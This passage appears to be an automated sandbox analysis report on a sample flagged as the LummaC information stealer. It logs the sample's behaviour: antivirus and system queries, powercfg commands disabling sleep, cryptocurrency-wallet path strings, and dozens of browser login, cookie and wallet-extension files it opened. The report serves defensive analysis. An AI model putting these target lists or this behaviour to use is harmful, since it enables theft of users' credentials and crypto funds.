Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\Desktop\Arly.exe1.exe

Code function: 0_2_00007FF6246F2060 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6246F2060

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0

Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1580230914.0000000001611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \MsMpeng.exe

Source: C:\dmikhsv\file_scaricato.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file_scaricato.exe PID: 5228, type: MEMORYSTR
Source: Yara match	File source: 14.2.file_scaricato.exe.ba0000.0.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file_scaricato.exe, 0000000E.00000003.2090402698.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":["*"],"z":"Wallets/Electrum"YO
Source: file_scaricato.exe, 0000000E.00000003.2090402698.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 1520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"%appda
Source: file_scaricato.exe, 0000000E.00000003.2090402698.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JKO
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file_scaricato.exe, 0000000E.00000003.1555290056.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletG
Source: file_scaricato.exe, 0000000E.00000003.1555290056.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletG
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file_scaricato.exe, 0000000E.00000003.1555269393.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file_scaricato.exe, 0000000E.00000003.1555329807.0000000001580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
